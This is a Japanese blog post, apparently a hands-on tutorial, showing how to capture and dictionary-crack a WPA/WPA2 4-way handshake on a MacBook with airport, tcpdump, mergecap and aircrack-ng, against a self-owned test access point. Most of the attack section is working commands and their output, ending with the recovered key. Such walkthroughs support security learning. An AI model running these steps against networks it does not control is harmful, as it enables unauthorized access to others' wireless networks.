Wireless Hackでよくある4 way handshake sniffingの話(それ、Macbookでもできるよ)
tl;dr
- 無線のセキュリティを考えるときに触ることになるWireless Hackingの入門(4-way handshake sniffing)
- 本とかブログとか読んで「えぇ...Wireless Hacking用にアダプタ用意しなきゃいけないの?」とか「アダプタどれならええんや...」とか「アダプタ買ったけど良いけど対応してるドライバどれだよ」とかで疲れ気味な人向け
- それ、Macbook 1 台でできるよ
- 「Hak5のWifi Pineappleサイコー」だとか「今度のBlackHatにもPineappleおじさん出没するのかな」とかいった
危ない上級者の方はどうぞお帰りください. (USB Rubber Duckyって日本で引っかかる人いるのかな...ガワを変えれば刺しちゃうかな?)
注意事項
- あくまで実験の一環です. 悪用厳禁.
- 実際に企業さんとかカフェとか, 自身の管理下にないAPに対して行うときは誓約書とか用意してしっかり契約結んでください.
内容
- Setup
- KaliLinuxでやってるsniff and crack WPA/WPA2 4-way handshakeと同じ
- Scan
- Monitor
- Deauth: 必要があれば
- Sniff
- Crack
Setup
- airport
macOS標準の無線周りに触るためのコマンド.
ただしPathの箇所にはいない(はず、初めてさわった時はいなかった)のでalias or Pathのディレクトリにln -sしておくこと.
※個人的にはln -s推奨. のちほどsudoでの実行が必要になるので.
% which airport airport: aliased to /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport
JamWifi
Deauthするときに使うアプリ. 検証のときには特に必要ない.
実際に攻撃が行われる場合, 攻撃対象APには大抵すでに接続端末があるので, Deauth packetsを送る > 再接続のときの4 way handshakeを捕まえる, という流れになる.
攻撃を受ける側の動作としてみておくと吉.
このブログを書いている時はちゃんと動いてくれていない(Scan時にBSSIDが取れていなかった)ので, 別のものも用意しておいた方が良さそう.
Deauth packetを送るツールは他にもあるっぽいので要調査.tcpdump
言わずと知れたトラフィックダンプツール.
入っているはず...入ってなかったらbrew install tcpdumpとかbrew install wiresharkとかでいけるはず(テキトー)
brew install wireshark
- aircrack-ng(or hashcat)
hash crack tool. インストール.
brew install aircrack-ng
Attack(検証)
今回の対象はSSID「victim-a」. passwordは「nknskn-password」とします.
- Scan
$ airport -s
BSSIDを確認. 74:03:bd:74:e0:d5
接続channelは100
- 準備
$ export BSSID=74:03:bd:74:e0:d5 $ sudo airport -z # Wifi接続の切断 $ sudo airport -c100 # Channel設定 $ sudo airport -c # 設定状況の確認 channel: 100 $ echo $BSSID 74:03:bd:74:e0:d5
- Sniff
- Beacon Sniffing
$ sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en0 -w beacon_`date +%s`.cap tcpdump: listening on en0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 262144 bytes 1 packet captured 40 packets received by filter 0 packets dropped by kernel
- Handshake Sniffing
$ sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i en0 -w handshake_`date +%s`.cap tcpdump: listening on en0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 262144 bytes ^C4 packets captured 7322 packets received by filter 0 packets dropped by kernel
- Crack
- Merge beacon packet and handshake packets
$ mergecap -a -F pcap -w capture.cap beacon_1554221349.cap handshake_1554221397.cap
- aircrack-ng
$ aircrack-ng -w sample_word.lst capture.cap ... KEY FOUND! [ nknskn-password ]
コメント
- 眠いのでひとまずここまで. なんかあればまた追記します.